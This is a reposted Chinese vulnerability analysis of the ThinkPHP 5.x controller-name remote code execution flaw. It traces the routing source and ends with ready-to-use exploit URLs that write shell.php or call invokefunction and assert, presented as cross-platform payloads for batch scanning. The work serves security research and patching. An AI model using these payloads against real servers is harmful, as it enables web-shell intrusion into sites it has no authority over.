thinkphp 5.x任意代码执行(GetShell)分析

栏目: PHP · 发布时间: 5年前

内容简介:2018-12-10 ThinkPHP5系列发布安全更新,该安全更新修复了一处严重漏洞,该漏洞可导致(php/系统)代码执行。由于框架对控制器名没有进行足够的检测会导致在没有开启强制路由的情况下可能的getshell漏洞。本文转载自先知社区,原文作者:水泡泡 https://xz.aliyun.com/t/3570

0x01: 漏洞简介

2018-12-10 ThinkPHP5系列发布安全更新,该安全更新修复了一处严重漏洞,该漏洞可导致(php/系统)代码执行。

由于框架对控制器名没有进行足够的检测会导致在没有开启强制路由的情况下可能的getshell漏洞。

本文转载自先知社区,原文作者:水泡泡 https://xz.aliyun.com/t/3570

0x02: 影响范围

ThinkPHP 5.x

5.1.x ~ 5.1.31

5.0.x ~ 5.0.23

0x03: 漏洞原理

结合官方公告说的由于对控制器名没有足够的检测,再查看官方git commit信息

thinkphp 5.x任意代码执行(GetShell)分析

拉一个tp下来,用的是tp 5.1.29的版本,windows+phpstudy 一把梭,搭建好环境。

在官方修改的地方加断点(thinkphp\library\think\route\dispatch\Module.php),加载默认的控制器来分析。

http://127.0.0.1/index.php/index/index/index

命中断点

thinkphp 5.x任意代码执行(GetShell)分析

一步步跟进controller的走向,发现在同文件下的 exec函数,实例化控制器

thinkphp 5.x任意代码执行(GetShell)分析

跟进controller方法,thinkphp\library\think\App.php

thinkphp 5.x任意代码执行(GetShell)分析

使用parseModuleAndClass方法来解析,继续跟进

thinkphp 5.x任意代码执行(GetShell)分析

分析一下代码,发现会有一个判断,当控制器名中包含了反斜杠,就会直接返回,继续跟踪。

此处没有包含,所以会进入下面的判断,最后使用parseClass来解析,跟进parseClass函数

thinkphp 5.x任意代码执行(GetShell)分析

发现经过parseName之后index变成了首字母大写,原因是经过了命名风格转换。

thinkphp 5.x任意代码执行(GetShell)分析

最后会将命名空间类名等进行拼接

thinkphp 5.x任意代码执行(GetShell)分析

返回我们带命名空间的完整类名。

thinkphp 5.x任意代码执行(GetShell)分析

跟进,回到了controller方法,此时判断类是否存在,不存在会触发自动加载类。

thinkphp 5.x任意代码执行(GetShell)分析

之后就是实例化类,使用反射来调用类的相应方法了。(偷懒省略掉了,主要是介绍一下分析的主要过程)

大概流程摸清楚了,那么这个漏洞是怎么触发的呢?

在跟踪的时候我们发现,类名都是带有完整的命名空间的,而命名空间恰好就是使用反斜杠来划分,结合那一个判断代码:反斜杠是否存在,直接返回类名的操作。

不难想到是可以调用任意类的方法。

比如这样?

http://127.0.0.1/index.php/index/think\app/index

请求一下,发现报错了。

thinkphp 5.x任意代码执行(GetShell)分析

what the fuck? 我的反斜杠怎么变成了正斜杠了?而且这个控制器怎么获取的是Think?

猜测是浏览器的原因,用bp发包一样如此,那么还有没有其他方法可以获取到呢?

翻了一下tp的配置文件

thinkphp 5.x任意代码执行(GetShell)分析

发现可以使用s来获取参数,那么我们就可以尝试这样请求

http://127.0.0.1/index.php?s=/index/think\app/index

成功实例化了App类,因为没有index 方法所以这里会报错。

thinkphp 5.x任意代码执行(GetShell)分析

但已经验证了整个漏洞的原理。

控制器过滤不严,结合直接返回类名的代码操作,导致可以用命名空间的方式来调用任意类的任意方法。

http://127.0.0.1/index.php?s=/index/namespace\class/method

漏洞点找到了,那么接下来就是找利用点了。

0x04: 漏洞利用

tp 5.1.29 简单找了个写 shell 的方法,看到thinkphp\library\think\template\driver\File.php 文件

thinkphp 5.x任意代码执行(GetShell)分析

有一个完美的写shell方法。

http://127.0.0.1/index.php?s=index/\think\template\driver\file/write?cacheFile=shell.php&content=%3C?php%20phpinfo();?%3E

执行之后会在根目录下写入shell.php ,内容是输出phpinfo();

thinkphp 5.x任意代码执行(GetShell)分析

那么tp 5.0要怎么利用呢??接下来就是踩坑之旅了。

0x05: 无尽的踩坑

把tp 5.1的payload,拉过去打一发,发现报错了,控制器不存在??

thinkphp 5.x任意代码执行(GetShell)分析

猜测是5.0和5.1的文件可能不一样,打开一看,都一样啊,怎么加载不了。

thinkphp 5.x任意代码执行(GetShell)分析

上断点,跟踪。此处省略一万字。

跟踪半天发现类加载器有这么一行代码。位置: thinkphp\library\think\Loader.php 方法 autoload

thinkphp 5.x任意代码执行(GetShell)分析

以及一开始的获取控制器的时候 会判断是否自动转换控制器,将控制器名变成小写。

thinkphp 5.x任意代码执行(GetShell)分析

而这个url_convert配置项默认是true。

thinkphp 5.x任意代码执行(GetShell)分析

而我们的类文件名是大写的。

thinkphp 5.x任意代码执行(GetShell)分析

那么在win下,由于严格区分大小写,所以必然不会加载到相应的类文件。

thinkphp 5.x任意代码执行(GetShell)分析

(图中判断,由于IS_WIN为True,!IS_WIN必为False,逻辑与,一个为False条件就成立。)

虽然最终由于绑定参数的问题导致该方法依然不可以用(这个问题就不展开分析了)

thinkphp 5.x任意代码执行(GetShell)分析

但是这个win环境的问题确实卡了我很久。

也难怪别人的payload都是这样那样的,原来是 linux 的环境,可以加载的类多了不少。

最终也导致5.0的自己没有找到利用的类。

0x05: 兼容多平台的payload

综上,由于Windows的原因,所以有一些payload在windows的主机上是不可以利用的。

那么哪些payload是可以兼容多个平台呢?

由于windows自动加载类加载不到想要的类文件,所以能够下手的就是在框架加载的时候已经加载的类。

5.1是下面这些:

think\Loader 
Composer\Autoload\ComposerStaticInit289837ff5d5ea8a00f5cc97a07c04561
think\Error 
think\Container
think\App 
think\Env 
think\Config 
think\Hook 
think\Facade
think\facade\Env
env
think\Db
think\Lang 
think\Request 
think\Log 
think\log\driver\File
think\facade\Route
route
think\Route 
think\route\Rule
think\route\RuleGroup
think\route\Domain
think\route\RuleItem
think\route\RuleName
think\route\Dispatch
think\route\dispatch\Url
think\route\dispatch\Module
think\Middleware
think\Cookie
think\View
think\view\driver\Think
think\Template
think\template\driver\File
think\Session
think\Debug
think\Cache
think\cache\Driver
think\cache\driver\File

5.0 的有:

think\Route
think\Config
think\Error
think\App
think\Request
think\Hook
think\Env
think\Lang
think\Log
think\Loader

两个版本公有的是:

think\Route 
think\Loader 
think\Error 
think\App 
think\Env 
think\Config 
think\Hook 
think\Lang 
think\Request 
think\Log

本想找出两个版本共有的利用类和方法,但由于类文件大多被重写了,所以没耐住性子一一去找(菜)

所以,payload为上述类的利用方法,是可以兼容windows和linux多个平台的,兼容多个平台有什么用呢?插件批量可以减少误判等,一条payload通用,一把梭多好。比如:

5.1.x php版本>5.5

http://127.0.0.1/index.php?s=index/think\request/input?data[]=phpinfo()&filter=assert

http://127.0.0.1/index.php?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

http://127.0.0.1/index.php?s=index/\think\template\driver\file/write?cacheFile=shell.php&content=<?php%20phpinfo();?>

5.0.x php版本>=5.4

http://127.0.0.1/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=phpinfo()

0x06: 总结

至此,算是把整个漏洞分析记录讲完了,和p喵呜聊的时候,他也是被win坑的老惨。

所以珍惜生命,远离windows xd。

还有就是自己太菜了,给各位大佬递头。

参考文章:

https://www.anquanke.com/post/id/167653

https://xz.aliyun.com/t/3570


以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

群体性孤独

群体性孤独

[美] 雪莉·特克尔 / 周逵、刘菁荆 / 浙江人民出版社 / 2014-3-1 / CNY 66.90

[内容简介] ☆ 你是否也熟悉这样的场景:家人在一起,不是交心,而是各自看电脑和手机;朋友聚会,不是叙旧,而是拼命刷新微博、微信;课堂上,老师在讲,学生在网上聊天;会议中,别人在报告,听众在收发信息。所有这些现象都可以归结为“群体性孤独”——我们似乎在一起,但实际上活在自己的“气泡”中。我们期待他人少,期待技术多。不间断的联系,是否让人类陷入了更深的孤独? ☆ 麻省理工学院社会学教授雪......一起来看看 《群体性孤独》 这本书的介绍吧!

CSS 压缩/解压工具
CSS 压缩/解压工具

在线压缩/解压 CSS 代码

正则表达式在线测试
正则表达式在线测试

正则表达式在线测试

HSV CMYK 转换工具
HSV CMYK 转换工具

HSV CMYK互换工具